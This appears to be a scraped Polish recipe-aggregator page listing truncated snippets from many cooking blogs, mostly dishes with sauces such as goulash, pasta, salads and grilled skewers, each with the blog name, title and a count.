bardzo lubi kopytka i to właśnie on zwrócił mi uwagę ile mąki dodać by kopytka były sprężyste i dało się je później podsmażyć, bez rozwalania się. Podaję często z sosem pieczarkowym lub z cebulką. Składniki: 1 kg starych ziemniaków 2 szklanki mąki pszennej 3 łyżki mąki ziemniaczanej szczypta soli jedno jajko Ziemniaki gotujemy, przepuszczamy przez praskę i studzimy, bardzo ważne

NA MOIM TALERZU
Makaron z małżami w 15 minut 211

bawolego, lub serem pleśniowym w wersji ostrzejszej. W trakcie gotowania małże puszczą sok, który w połączeniu z sokiem z pomidorków, cytryną, cebulą, czosnkiem oraz z winem da nam przepyszny sos otulający makaron. Małże sercówki można zastąpić innymi owocami morza, znakomicie smakuje też z polskimi rakami. Czas przygotowania: 15 minut Składniki: 250 g czarnego spaghetti (lub pełnoziarnistego), 400 g Fasolki Szparagowej

SzczyptaSmaQ
Gulasz z jeleniny 222

parę razy dziczyznę. Znalazło się i małe opakowanie jeleniny. Mięso zrobione według tego przepisu robi się bez problemu,  jest bardzo smaczne, a dodatkowo mamy sporą ilość świetnego, wyrazistego sosu. Podawałam jeleninę z kaszą burgul i było na prawdę pysznie. Dodatek warzyw sprawia, że ta nieduża porcja mięsa wystarczy na 3 - 4 porcje. Polecam na niedzielny obiad!  przepis znalazłam

Stare Gary
Pasta z krewetkami w sosie pomidorowym! 186

Pycha! Zapraszam Was na wspólne gotowanie! Dzisiaj kuchnia włoska! Pyszna, soczysta, smakowita i kolorowa! Uwielbiam dobry makaron z sosem pomidorowym (takim moim ;-) ), a jak są tam jeszcze chrupiące krewetki to jestem w niebie ;-)))! Zapraszam! SKŁADNIKI: - paczka ulubionego makaronu (kup najlepiej włoski) - paczka pomidorków koktajlowych - 1 ząbek czosnku - 4 - 6 szt suszonych pomidorów - 1 łyżka masła - 1 łyżka oliwy z oliwek

SMYKWKUCHNI
Jaja faszerowane pastą z Tuńczyka 229

amatorowi tuńczyka oraz faszerowanych jaj z pewnością zasmakuje to połączenie. Jaja faszerowane pastą z Tuńczyka - Składniki (na 12 połówek jaj) 6 jajek ok. 180 g tuńczyka z puszki w sosie własnym 2 łyżki majonezu ok. 40 g żółtego sera łyżeczka drobno posiekanej cebulki (można pominąć) sól pieprz  Jaja faszerowane pastą z Tuńczyka - Sposób przygotowania: Jajka gotujemy na twardo

Słodka Strona
Wielkanoc 2015. Słodko 175

laktozy Wielkanocne ciasto czekoladowe z jabłkami (bez glutenu, bez masła, bez laktozy). Babka Babka migdałowo - limonkowa (bez glutenu, bez mleka)    Ciasto jabłkowo - marcepanowe z migdałami i sosem marcepanowym (bez glutenu, bez mleka) Kruszon z jabłkami Tort obłędnie czekoladowy Ciasto pomarańczowo - migdałowe bez jajek Cynamonowy placek z jabłkami

Szybko Tanio Smacznie
Gulasz z karkówki z orzechami i bazylią 213

suszonej żurawiny 1 łyżeczka suszonego tymianku 60 g selera korzeniowego 1 marchewka pokrojona w plasterki ½ łyżeczki pieprzu 3 listki laurowe 5 łyżek przecieru pomidorowego 1 łyżeczka ostrego sosu chili 1 łyżeczka cukru 80 ml czerwonego wytrawnego wina Opis wykonania: Pokrojone na kawałki mięso, cebulę i czosnek podsmażamy na oleju z bazylią. Wlewamy litr wrzącej wody, dodajemy sól, zagotowujemy, zmniejszamy ogień

Smakowity Blog Kulinarny
Hummus z czarną fasolą i kolendrą. 208

kolendry (kupiliśmy ją w Lidlu) 3 duże ząbki czosnku sok z 1/2 limonki 3 łyżki oliwy z oliwek 2 łyżki wody mineralnej 1/4 łyżeczki pasty chili lub kilka kropel sosu z papryczki habanero Zadanie jest proste. Wszystkie składniki wrzucamy do jednego naczynia i blendujemy na gładką masę. Hummus gotowy. Nie zapomnijcie przepłukać fasolę i cieciorkę. Jeśli macie ochotę na dłuższą

vegetanie
Domowa tortilla z kurczakiem 271

główki kapusty pekińskiej - 2 pomidory - 1 cebula Piersi kroimy na cienkie paski dodajemy ocet balsamiczny, sól, pieprz, starty drobno czosnek i przyprawy. Odstawiamy kurczaka aby się zamarynował. Następnie przygotowujemy sos czosnkowy. Do jogurtu dodajemy sól, pieprz i drobno stary czosnek. Kroimy nasze dodatki które można dowolnie dobierać ja użyłem pomidora, cebuli i kapusty pekińskiej. Na mocno rozgrzaną patelnie wrzucamy kurczaka

Full Smaku
Kurczak w sosie cebulowo- czosnkowym 1976

Rewelacyjne połączenie kurczaka, dymki i czosnku. Sos jest kremowy i bardzo wyrazisty. Danie rewelacyjne! Bardzo szybki w przygotowaniu obiad! 400 g filetu z piersi kurczaka Przyprawa do kurczaka 3 cebule dymki + szczypiorek 5 ząbków czosnku 3 łyżki śmietany 18% Sól Pieprz 100 g ryżu Olej do smażenia Filet z kurczaka myjemy i kroimy w kosteczkę. Przyprawiam przyprawą do kurczaka. Cebulę

VioletoweKucharzenie
Polędwiczki wieprzowe w marynacie miodowo-balsamicznej 204

naszym stole ( jak i blogu :)) niezwykle często gości drób. Postanowiłyśmy to zmienić i zacząć jeść więcej innych rodzajów mięs i ryb.  Spróbowałyśmy już królika w sosie rozmarynowym , teraz nadszedł czas na polędwiczki wieprzowe. Przyrządziłyśmy je w delikatnej marynacie miodowo-balsamicznej. Mięso nie wymaga dużych przygotowań. Wystarczy zrobić marynatę, odstawić na pół godzinki do lodówki, a potem poświęcić kilka minut

Kolizje Smaków
Potrawka z kurczaka 248

plasterki. Warzywa przekładamy do mięsa, zalewamy bulionem i gotujemy na małym ogniu przez 20 minut.  W kubeczku rozrabiamy mąkę z zimną wodą i śmietaną, hartujemy 2 łyżkami sosu z duszonego kurczaka. zawartość kubka wlewamy do potrawki, cały czas mieszając, aby nie zrobiły się nam kluchy . Mięso przyprawiamy i jeszcze przez chwilę gotujemy. Podajemy posypane natką

Kulinarne przygody Gatity
Co zrobić, aby wyschnięty żółty ser znów nadawał się do spożycia. 166

jeśli zanurzymy go na kilka godzin w surowym ( nie gotowanym ) mleku. Następnie wyjmujemy ser z mleka i osuszamy.  Gdy nam zostaną resztki żółtego sera możemy je wykorzystać na sos do spaghetti, roztapiając go na maśle i doprawiając śmietaną.                                      Pozdrawiam gorąco

Przepisy i porady kulinarne
Zrolowany schab z suszonymi pomidorami 248

Zapraszam na zrolowany schabik nadziany suszonymi pomidorami. Taki schabik można podać jako danie obiadowe z ulubionym sosem lub po prostu wystudzić i kroić na kanapkę.  składniki: 1,3 kg schabu 1 słoiczek suszonych pomidorów (320 ml) 2 duże ząbki czosnku mielona słodka papryka suszone pomidory z czosnkiem i bazylią olej 1/2 szklanki wody Schab rozkroić wzdłuż dłuższego boku

Monia miesza i gotuje
pstrąg smażony 277

minut . Ciasto podczas pieczenia opadnie o jakieś 50%  ale nie należy się zrażać nie będzie zakalca. Po wystudzeniu biszkoptu przekrawamy na pół i dekorujemy nimi talerz. SOS CYTRYNOWY 150 ml mleka 1 łyżka masła 1 1/2 łyżki mąki pszennej 3 łyżki soku z cytryny skórka starta z połowy cytryny sól , pieprz gruboziarnisty i cukier do smaku masło rozpuścić

na gazie
Kotleciki z kuskusu w sosie czosnkowym. 197

smaku oraz dodajemy posiekane świeże oregano. Formujemy kotleciki, smażymy na oliwie do zrumienia. Posypujemy z wierzchu serem i zapiekamy kilka minut w piekarniku w temperaturze 180 stopni termoobieg. SOS: Dwa żabki czosnku wyciskamy przez praskę, łączymy z jogurtem naturalnym. Solimy i pieprzymy do smaku

BaRepas
Zapiekanka z brokułem i kurczakiem 5956

łączymy śmietanę, jajko, sól oraz pieprz do smaku. Całość dokładnie mieszamy. Naczynie żaroodporne nacieramy odrobiną oliwy z oliwek. Przekładamy do niego makaron, następnie nakładamy kurczaka z cebulą, brokuła oraz sos śmietanowy. Całość posypujemy startym żółtym serem i wkładamy do nagrzanego piekarnika do 180C na 15 minut. Smacznym dodatkiem do takiej zapiekanki są również cienkie plastry bekonu

Emcia Pichci
O gotowaniu i hejterach, czyli gotuj z pasją i nie przejmuj się co ludzie powiedzą 134

mają tendencję do oceniania przez pryzmat tego, czego nie potrafimy. Na każdym kroku przypominają nam jak wielu rzeczy nie umiemy zrobić, zapominając o tym ile już się nauczyliśmy. Przypaliłaś sos? Będą Ci wypominać tygodniami. Wyszedł Ci pierwszy w życiu suflet? Łaaał ale Ty masz fart. Czy tak ciężko komuś przełknąć fakt, że może jednak mam talent? A jak nie talent

W poszukiwaniu inspiracji
Sałatka z tuńczykiem i kuskusem 471

który możecie zabrać ze sobą do pracy czy w podróż.  Czas przygotowania: 15 min. Porcja dla 10 osób Koszt przygotowania: 16,00 zł SKŁADNIKI: 1 puszka tuńczyka w sosie własnym 150 g kaszy kuskus 1 puszka zielonego groszku 1 puszka czerwonej fasoli 1 puszka kukurydzy 3 ogórki konserwowe 1 szalotka 3 łyżki jogurtu greckiego 1 łyżka majonezu 1/2 łyżeczki

kulinarnyJa
Wielkanocna babka cytrynowa 192

kratkę i ostudzić. Lukier: Do soku z cytryny wlać wodę, a potem, porcjami, dodawać cukier puder. Żeby nie powstały grudki, kolejne porcje cukru należy dokładnie rozprowadzić trzepaczką do sosów. Otrzymany lukier musi być biały i bardzo gęsty, inaczej wsiąknie w ciasto

W SMAK
Karkówka Adama - palce lizać 268

włożyć brytfankę do piekarnika Po upieczeniu wyjąć mięso z brytfanki i pozostawić na 10 min. do ostygnięcia, po czym pokroić w plastry  jak na zdjęciu Wymieszać keczup z sosem powstałym w  czasie pieczenia mięsa , zagotować, jeśli trzeba doprawić do smaku i polać nim roladę. Temp. pieczenia 160-180 *C, około 70 min. Tę pieczeń można też przyrządzić

Proste Potrawy
Podudzia z kurczaka z paccheri w sosie orzechowo - pomidorowym. 233

pomidory. Posypujemy tymiankiem. Wkładamy do piekarnika na 25-30 minut w temperaturze około 180 stopni. Makaron gotujemy w osolonej wodzie, cedzimy, skrapiamy oliwą. Po wyjęciu z piekarnika, wyciągamy z sosu mięso, patelnię stawiamy na ogniu. Dodajemy kilka łyżek śmietanki, ściągamy z ognia, dodajemy makaron i mieszamy. Po wyłożeniu na talerz posypujemy orzechami i parmezanem

BaRepas
Lazania z mięsem mielonym 190

idealne. Nie wymaga specjalnych nakładów pracy. Można je wcześniej przygotować i później tylko podgrzać. Ładnie się prezentuje i smakuje prawie każdemu kto je mięso. 1 op ( 500 g ) lazani sos mięsny : 1 kg mielonego mięsa ( u mnie lopatka ) 2 cebule 1 duża marchewka 0,5 szkl czerwonego wina puszka pomidorów

Polska Zupa
Kurczak faszerowany bułką + film 171

Kurczak faszerowany bułką i natką pietruszki z chrupiącą skórką to smaczne danie które bardzo często króluje na moim stole wielkanocnym. Najlepiej smakuje podany na zimno z sosem chrzanowym , może być świetnym dodatkiem do sałatki. składniki na 5 porcji 1 sprawiony kurczak (około 1,80 kg) 2 pęczki natki pietruszki opakowanie przyprawy do kurczaka (30g) 4 ząbki czosnku 8 jajek

Smakowite Dania
Żywność liofilizowana - współpraca z LYO FOOD :) 190

FOOD dostępne są: śniadania dania główne zupy  owoce  proszki owocowe i warzywne - w ofercie od kwietnia  W ramach współpracy otrzymałam:  Gotowe posiłki: farfalle w sosie szpinakowo serowym, penne bolognese, risotto z pęczaku i soczewicy z musem z awokado, zupa grzybowa Owoce: truskawki, egzotyczna rozkosz Proszki: malina, szpinak, jarmuż LYO FOOD to miejsce, w którym znajdziecie wysokiej

Zdrowie na języku :P
Pieczone kotlety wegetariańskie, Pulp fiction 288

szklanki prażonego słonecznika 1/2 szklanki prażonego sezamu 1 czerwona lub biała cebula 1/2 szklanki bułki tartej 1/4 szklanki oleju 3 łyżki mąki (użyłam kukurydzianej, można inną) 2 łyżki sosu sojowego 2 łyżki posiekanej natki pietruszki 1 łyżeczka imbiru (lub mały kawałek świeżego, starty na tarce) 1/4 łyżeczki chili (lub mały kawałek świeżej papryczki chili, posiekany) sól, pieprz Wrzuć wszystkie składniki

Qlinarnie i Qlinarnie
Spód na pizzę 141

rośnie dłużej - wtedy wydłużamy czas oczekiwania, a czasami krócej - wtedy skracamy).   5. Formę do pieczenia wyłożyć papierem i rozciągnąć na niej przygotowane, wyrośnięte ciasto. 6. Po nałożeniu sosu, dodatków przygotowaną pizzę piec w 180°C przez około 15 minut. *Suszone drożdże można zastąpić świeżymi - tj. dodajemy ich 2x więcej, czyli co najmniej 14 g. Standardowa kostka ma 100g

Ugotować
Pulpeciki rybne w sosie koperkowym 184

Pulpeciki rybne w sosie koperkowym Składniki:   pół kg filetów, np. z miruny 1 cebula 1 ząbek czosnku 3-4 łyżki bułki tartej sól, pieprz przyprawa do ryb koperek (mrożony/świeży) mąka 3 łyżki śmietany 30% 2 łyżki wody olej 1. Cebulę i czosnek obrać i drobno pokroić. Przygotowane składniki przesmażyć na rozgrzanym tłuszczu. 2. Ryby umyć, osuszyć, pokroić

Ugotować
Panna cotta z granatem 191

foremek (jeżeli nie możecie wyjąć stężonej masy, to pojemnik włóżcie na chwilę do gorącej wody). 5.  Talerz obsypać ziarenkami granatu i polać sosem (tj. 3/4 ziarenek zmiksować za pomocą blendera). Od razu podawać

Ugotować
A'la strogonow 214

strogonow to danie z mięsem wieprzowym i pieczarkami w delikatnym sosie pomidorowym! Składniki: 400 g polędwicy wieprzowej 2 sztuki cebuli 150 g pieczarek sól, pieprz papryka słodka papryka ostra koncentrat pomidorowy mąka olej 1. Mięso umyć, pokroić w paski i obtoczyć w mące.  2. Cebulę obrać i pokroić w piórka. Pieczarki umyć i pokroić w plasterki

Ugotować
Chili con carne 229

mięsa mielonego wieprzowo-wołowego 1/2 sztuki czerwonej papryki 2 małe cebulki 1 ząbek czosnku 1 puszka fasolki czerwonej 1/2 puszki kukurydzy 1 puszka pomidorów krojonych 2-3 łyżki  sosu pomidorowego  (bądź koncentratu) sól, pieprz suszona bazylia papryka ostra 1. Cebulę obrać i drobno posiekać. Czosnek pokroić w bardzo małą kostkę. Rozgrzać garnek z odrobiną oleju i najpierw przesmażyć

Ugotować
Tarta z łososiem i warzywami 181

masę jajeczno-śmietanową wylać na tarte.  6. Ponownie umieścić tarte do rozgrzanego piekarnika (200°C) i piec tak długo, aż masa się zetnie. Od razu podawać, np. sosem słodko-kwaśnym bądź ketchupem

Ugotować
Fasolka po bretońsku 201

Fasolka po bretońsku  to polskie danie, które zawiera  fasolę ,  sos  pomidorowy i kiełbasę. Poniżej przedstawiam przepis na błyskawiczną fasolkę po bretońsku, ponieważ aby skrócić czas przygotowania użyłam fasoli konserwowej. W oryginalnej recepturze do fasolki po bretońsku dodaje się jeszcze wędzony boczek i majeranek.  Składniki: 1 puszka czerwonej fasolki 1 puszka białej fasoli 1 puszka pomidorów

Ugotować
Gulasz z pieczarkami i serduszkami drobiowymi 158

szklanki wsypać 2-3 łyżki mąki, wlać 1/4 szklanki wody i całość ze sobą połączyć; następnie przygotowaną masę wlać powoli do gotującego się gulaszu --> dzięki temu sos będzie gesty

Ugotować
Jeż - ciasto biszkoptowe z kremem ganache 256

przepisem na jeża, czyli ciasto z czekoladowymi biszkoptami przełożonymi rewelacyjnym kremem ganache.  Powyższy krem to połączenie czekolady i śmietany 30%. Co ciekawe, niektórzy uważają, że ganache to lukier, sos lub polewa. Jestem pewna, że przygotowanie kremu ganache nie będzie sprawiało Wam trudności . Składniki: 3 biszkopty czekoladowe 2 i 1/2 tabliczki gorzkiej czekolady 2 tabliczki mlecznej czekolady 360 g śmietany

Ugotować
Szaszłyki z kurczaka z cukinią i papryką + grillowane filety z kurczaka 213

przygotowane szaszłyki i polędwiczki z kurczaka. Grillować tak długo, aż mięso się zetnie. Dzięki tackom do grillowania mięso z kurczaka będzie soczyste i nie będzie spalone. Podawać z ulubionym sosem

Ugotować
Mintaj z piekarnika (z marchewką i porem) 302

Mintaj zapiekany z piekarnika, polany sosem śmietanowo-serowym - miękki, lekko słodki i aromatyczny. Polecam przygotować go na obiad bądź kolację. Najlepiej smakuje z młodymi ziemniakami lub kromką pieczywa.  Składniki: 1/2 kg rozmrożonych filetów z mintaja 1 obrana marchewka 1 por (biała część) połowa soku z cytryny 125 g śmietany 30% (połowa małego opakowania) sól, pieprz przyprawa do ryb oliwa

Ugotować
Łosoś podany na szpinaku 201

przesmażyć posiekany szpinak. Gdy lekko zmieni kolor, dodać szpinak. Gdy zmniejszy swą objętość przyprawić solą oraz pieprzem, a także zalać go śmietaną 30%. Chwilę gotować, aby lekko zredukować sos. Powyższe danie najlepiej smakuje z ziemniakami. Gdy łosoś będzie gotowy to położyć go na przesmażonym szpinaku

Ugotować
Grillowane żeberka w marynacie z żurawiną 200

marynacie żurawinowej. Idealne na grilla :) Składniki: 1 kg żeberek wieprzowych sól, pieprz 1 listek laurowy 3 ziarenka ziela angielskiego marynata: 5 łyżek ketchupu 3 łyżki musztardy sarepskiej 2 łyżki sosu sojowego 2 łyżki żurawiny do mięs sól, pieprz papryka ostra Żeberka umyć, osuszyć i pociąć na zgrabne kawałki. Do garnka wrzucić żeberka, wlać wodę (tak, aby przykryła żeberka), dodać odrobinę

Ugotować
Skrzydełka z grilla 187

Przygotowane skrzydełka wstawić na kilka godzin do lodówki, dzięki temu mięso przejdzie przyprawami.  Zamarynowane mięso piec na rozgrzanym grillu, tak długo, aż mięso zmieni kolor. Podawać z ulubionym sosem

Ugotować
Szaszłyki z cytrynową piersią z kurczaka, cukinią i dwukolorową papryką 210

przygotowane szaszłyki i polędwiczki z kurczaka. Grillować tak długo, aż mięso się zetnie. Dzięki tackom do grillowania - mięso z kurczaka będzie soczyste i nie będzie spalone. Podawać z ulubionym sosem

Ugotować
Pomidory z serkiem capri 343

warzyw. Serek capri także pokroić w plastry. Oliwę z oliwek wymieszać z odrobiną soli, pieprzu i posiekanym koperkiem. Na talerz układać pomidory i serek capri (na przemian). Całość polać sosem z oliwy i oliwek i od razu podawać

Ugotować
Szaszłyki drobiowe z warzywami 288

każdy szaszłyk rozpoczynał się i kończył kawałkiem mięsa z kurczaka. Przygotowane szaszłyki umieścić na grillu. Smażyć do momentu, aż mięso zmieni kolor, a warzywa się przypieką. Podawać z ulubionym sosem

Ugotować
Szaszłyki z boczkiem, cebulą, cukinią i papryką 217

pokroić w zgrabne kawałki. Na patyki szaszłykowe nabijać naprzemiennie mięso i warzywa. Smażyć na grillu, tak długo aż mięso zmieni kolor i będzie lekko przyrumienione. Podawać z ulubionym sosem

Ugotować
Sałatka ryżowa z tuńczykiem 386

wszystko ze sobą mieszamy i już po chwili możemy rozkoszować się smakiem sałatki ryżowo-tuńczykowej.  Składniki na 4 porcje: 1 woreczek ryżu (najlepiej parboiled) 1 puszka tuńczyka w sosie własnym ½ puszki kukurydzy ½ pęczka szczypiorku sól, pieprz 2-3 łyżki majonezu Ryż ugotować zgodnie z instrukcją na opakowaniu. Ostudzić. Do miski dodać ugotowany ryż, tuńczyka (bez zalewy), kukurydzę, posiekany szczypiorek

Ugotować
Drobiowe kąski w orzechowej panierce 165

Najlepiej smażyć na średnim ogniu i tak długo, aż panierka uzyska złoty kolor. Przygotowane kąski z kurczaka ułożyć na papierze, aby odsączyć je z nadmiaru tłuszczu. Podawać z ulubionym sosem

Ugotować
Schab z warzywami 190

Miękkie kawałki mięsa otulone w warzywach i sosie pomidorowym  to pomysł na szybki i zdrowy obiad. Poniższe danie nie jest czasochłonne. Schab z warzywami idealnie smakuje na drugi dzień, ponieważ łatwo się odgrzewa.   Składniki dla 4 osób: co najmniej 0,5 kg schabu 2 średniej wielkości marchewki 1 czerwona papryka 2 średniej wielkości cebule 1 kawałek pora olej

Ugotować
Tarta z jabłkami i sosem śmietanowym 205

jesiennym dniami. Uwielbiam jabłeczniki, szarlotki i wszelkie desery, które w swoim składzie zawierają jabłka. Poniższa tarta to kruche ciasto z bardzo dużą ilością jabłek, które są zalane w sosie jajeczno-śmietanowym. Naprawdę polecam przygotować poniższe ciasto, ponieważ smakuje rewelacyjnie - zarówno na ciepło jak i na zimno. Przepis dodaje do akcji Jabłko z cynamonem 2014 . Składniki: spód 1 szklanka mąki pszennej

Ugotować
Spring rollsy z surimi (paluszkami krabowymi) 383

możecie przygotować spring rolls'y z kurczakiem lub łososiem . Składniki: opakowanie paluszków surimi 2-3 garście rukoli opakowanie papieru ryżowego pół długiego ogórka 1 czerwona papryka makaron chiński  sos do namaczania, np. słodkie chili bądź domowy Ogórka umyć, pozbawić skórki, przekroić na pół i pokroić w dosyć cienkie paski. Paprykę umyć, usunąć gniazda nasienne i również pokroić w cienkie

Ugotować
Jabłka z bezą i migdałami 208

wgłąb jabłka. Przygotowaną bezę posypać płatkami migdałowymi. Wstawić ponownie do piekarnika (należy zwiększyć temperaturę do 225°C) i piec, aż do zrumienienia bezy. Od razu podawać. Podczas pieczenia powstanie sos jabłkowy, który idealnie smakuje na upieczonym jabłku

Ugotować
Gulasz z żołądków drobiowych w sosie własnym 859

Żołądki drobiowe w sosie własnym to pomysł na tani, szybki i bardzo smaczny obiad. Zdaje sobie sprawę, że niektórzy z Was na samą myśl o jedzeniu żołądków mogą stracić apetyt na poniższe danie. Nic mylnego! Duszone i pokrojone w paski żołądki są naprawdę pyszne! Jeżeli lubicie poznawać nowe smaki - spróbujcie przygotować taki gulasz. Składniki na 4 porcje: co najmniej

Ugotować
Pasta z tuńczyka (z cebulką i jajkami) 176

śniadania. Połączenie tuńczyka, cebulki i jajek to naprawdę pyszna kombinacja. Pastę przygotujecie w niecałe 15 minut, a na pewno przypadnie Wam do gustu.  Składniki: 1 opakowanie tuńczyka w sosie własnym 2 ugotowane na twardo jajka 1 mała cebulka sól, pieprz majonez Do miski dodać odcedzonego tuńczyka. Cebule obrać i bardzo drobno posiekać. Jajka obrać i drobno pokroić. Do tuńczyka

Ugotować
Obiad robotnika: Karkówka duszona z jabłkiem 222

Posypujecie wszystko listkami laurowymi, zielem angielskim, słodką papryką i dusicie około 30-40 min na wolnym ogniu, aż mięso będzie miękkie, a jabłka, czosnek i cebula przerobią się w sos. Marchewkę myjecie, obieracie, kroicie w kostkę i wrzucacie do rondelka z wodą. Kiedy się ugotuje, dodajecie odcedzony groszek z puszki i masło. Mieszacie i dusicie 5-10 minut. Przyprawiacie solą

GRUBY WAŁEK
Pyszne warzywne placuszki (47 kcal) 239

Przepis na placuszki z marchewki, cukinii i ziemniaków pieczone w piekarniku. Jeden to tylko 47 kcal, więc można się objadać do woli. Uwielbiam je Można je podać z dowolnym sosem, ja preferuję czosnkowy. Składniki (na ok 9 placuszków): dwie marchewki (250 g) cukinia (250 g) 2 ziemniaki (200 g) mała cebula jajko 2 łyżki mąki rozmaryn, tymianek sól, pieprz łyżeczka

e-PrzepisyKulinarne
Jajka faszerowane z ciecierzycą 194

przygotowany na bazie kaszy jaglanej i ciecierzycy. Trochę to zaskakujące, prawda ? Na blogu znajdziecie też inne przepisy na faszerowane jajka: Jajka faszerowane żółtym serem i pomidorami Jajka w żółtym sosie chrzanowym Jajka faszerowane pastą krabową Jajka faszerowane pastą łososiową Jajka faszerowane z ciecierzycą Czas przygotowania: 15 minut Proporcje dla 6 osób Składniki: 1/2 szklanki ugotowanej  kaszy jaglanej 1 szklanka

Kulinarne przygody Gatity
Wiśniowa "Delicja" czyli biszkopt z galaretką, owocami i musem czekoladowym 363

czasie mieszamy wszystko do momentu roztopienia się czekolady. Odstawiamy do całkowitego przestudzenia. W misie miksera ubijamy na sztywno pozostałe 200 ml śmietany. Następnie stopniowo, do ubitej kremówki dodajemy sos czekoladowy, delikatnie mieszając szpatułką, tylko do połączenia. Mus czekoladowy wykładamy na galaretkę, schładzamy w lodówce przez około 3 godziny

Mania Gotowania
Wiosenna sałatka na krakersach 613

wielkanocny stół. Rolada szpinakowa z łososiem Chlebek ziołowy do odrywania składniki : na dużą porcję (można proporcje zmniejszyć o połowę)  36 sztuk krakersów 2 puszka szprotek lub sardynek w sosie pomidorowym ( w sumie ok. 400 g )  6 ugotowanych na twardo jajek  200 g żółtego sera ok. 5 łyżek majonezu sól, pieprz szczypiorek do posypania  Blaszkę do pieczenia, najlepiej

bistro mama
Szybka przystawka z jajek i ogórków 11530

sałaty. Na nią na przemian układamy plastry jajka i ogórka, na tak zwaną „dachówkę”, aby nachodziły na siebie. Jogurt, śmietanę, majonez, musztardę i posiekany koperek mieszamy ze sobą i sosem polewamy jajka i ogórki. Całość przyprawiamy do smaku

e-PrzepisyKulinarne
Pasztet z selera 397

mięsożerca z natury, wolę zdecydowanie prawdziwy świteczny pasztet np. z króliczka. Ten selerowy miło mnie zaskoczył. Jest łagodny, więc sprawdzi się tu znakomicie polanie go (tak jak na zdjęciach) sosem z jogurtu naturalnego, odrobiny majonezu, startej rzodkiewki i ogórka, oczywiście doprawionego solą i pieprzem.   2   duże selery 2 cebule 2 – 4 ząbki czosnku 4 jajka 1 szkl

kuchcikownia
Ciabatta zapiekana ze szpinakiem i suszonymi pomidorami 169

nich grzanki w opiekaczu/piekarniku bądź na patelni. Szpinak umyć, udusić na niewielkiej ilości wody z pokrojonym w plasterki czosnkiem oraz przyprawami. Odsączyć z resztek wody i dodać śmietany, wymieszać. Sos nałożyć na grzanki. Szynkę dojrzewającą pokroić na min. 4-5 mm i obsmażyć z dwóch stron na patelni, bądź włożyć do piekarnika na parę minut. Następnie położyć na szpinaku

KreatywnePiny
Lody z gorącymi malinami 207

poczekać aż puszczą sok, następnie dodać cukier oraz miód, podgrzewać jeszcze przez parę minut ciągle mieszając. Do kokilek/ naczynek włożyć po 2 gałki lodów i zalać je gorącym sosem malinowym, szybko ozdobić świeżą miętą, podawać natychmiast. Smacznego

KreatywnePiny
Pavlova 166

kilka kropelek ekstraktu z wanilii i opcjonalnie cukier puder. Wiśnie odmrozić dodać odrobinę miodu. Gdy wiśnie zmiękną odstawić do ostudzenia. Ostudzoną bezę podajemy z białą poduszeczką i wiśniami, polewamy sosem wiśniowym i dekorujemy gałązkami świeżej mięty Smacznego :) Wpis dodaje do akcji

KreatywnePiny
Kawa, wiśnia z rumem w czekoladzie 202

poczekać aż puszczą sok, dodać odrobinę rumu, poczekać nadal podgrzewając aż syrop  trochę odparuje. Czekoladę rozpuścić w garnuszku na odrobinie mleka. Polać śmietanę syropem wiśniowo-rumowym naprzemiennie z sosem czekoladowym. Ustrajamy kawę na wierzchu owocami wiśni i opcjonalnie suszonymi truskawkami. Smacznego

KreatywnePiny
Crumble z jabłkami 157

przygotowania posiłków. Crumble są szybkie w przygotowaniu, mało skomplikowane, tanie i do tego zawsze się udają.  Idealnie pasują podawane na ciepło z gałką lodów waniliowych, czy wszelkiego rodzaju sosami owocowymi, cukrem pudrem i listami mięty. Dodatki są dowolne. My wybraliśmy wersję podstawową z cukrem pudrem i listkami mięty :) Zapraszamy na szybciutki przepis : Składniki: ( na 2 porcje) crumble-kruszonka

KreatywnePiny
Byczki czyli pierogi z ziemniaków faszerowane mięsem 408

sklejać brzegi formując je na kształt prostokątów.  6. Byczki wrzucać partiami na osolony wrzątek i gotować 2-3 minuty od wypłynięcia.  Podawać można je z dowolnym sosem, z cebulką, ze skwarkami lub po prostu odsmażone, najlepiej z lekką surówką.  Wpis dodaję do akcji Wariacje pierogowe  Porcja dla mojego "byczka" :)      Inspiracja: Zjem

Kto ugości moich gości?
Kolorowa sałatka ryżowa z łososiem 385

ryżem i rybką oraz kolorowymi dodatkami. Jeśli ktoś lubi może dodać też czarne oliwki. składniki: 1 woreczek ryżu, u mnie mieszanka parabolicznego z dzikim 2 puszki łososia w sosie własnym, u mnie Graal 1 żółta papryka 10 pomidorków cherry 3 łyżki posiekanej natki pietruszki olej słonecznikowy lub sezamowy do skropienia Ryż ugotować i wystudzić. Paprykę oczyścić z nasion i pokroić

Monia miesza i gotuje
Pierś kurczaka z boczniakiem królewskim i winogronami z parowaru 233

niczym to nie przeszkadza, o ile się nie zasłoni wszystkich dziurek i zostawi się odpowiednio dużo miejsca wkoło, żeby para mogła swobodnie przepływać :) Dodatkowo mięso robi się we własnym sosie i lepiej mi smakuje, niż jakby wszystko spływało do pojemnika na soki. Gdy urządzenie się wyłączy, ziemniaki przekładamy na talerz i posypujemy świeżą natką pietruszki. Pozostałe składniki mieszamy ze sobą

Parowar Faceta
Francuskie paszteciki 188

wykorzystanie mięsnych (ugotowanych lub upieczonych) pozostałości po obiedzie, czyli paszteciki z dodatkiem smażonych pieczarek w cieście francuskim. Szybka, prosta i smaczna przekąska, która wyjątkowo dobrze komponuje się z sosem (polecam  bbq ), może być również potraktowana jako dodatek- tradycyjnie- do barszczu czerwonego lub jako danie obiadowe- z duuużą porcją surówki :) Polecam! * ugotowane/upieczone mięso z kurczaka- 250 g * pieczarki

Kraina Miodem Płynąca
Krokiety ziemniaczane z kurczakiem i marchewką. 315

smaku i tworzymy z masy niewielkie ruloniki ,które obtaczamy w mące , jajku i bułce tartej ,a następnie obsmażamy na złoty kolor ze wszystkich stron .Podajemy na ciepło z sosem

Ladylaura.
Bezmięsne gołąbki z pieczarkami 225

Dziś na obiad dietetyczne gołąbki, bez mięsa, z kaszą jęczmienną, ryżem, pieczarkami, w sosie pomidorowym.Gołąbki, które są ze specjalną dedykacją , i które pofruną sobie do Peru, do Agaty. Pofruną na talerzu, który płyną do mnie kilka tygodni przez Ocean... Danie szybkie można rzec, szybsze na pewno niż klasyczne gołąbki z mięsem. I nie musze mówić, że pyszne

Z Kuchni Do Kuchni
Mrożona cytryna, z czym to się je ? 161

tarce bezpośrednio do dań, do których wykorzystujemy sok z cytryny. Mrożona cytryna ma zdecydowanie intensywniejszy aromat i smak niż sam sok. Starta cytrynę możemy dodawać do sałatek, sosów, mięs, deserów i ciast, czyli wszędzie tam gdzie na to podpowie  nasza kulinarna wyobraźnia

Kulinarne przygody Gatity
Gołąbki w kapuście włoskiej 168

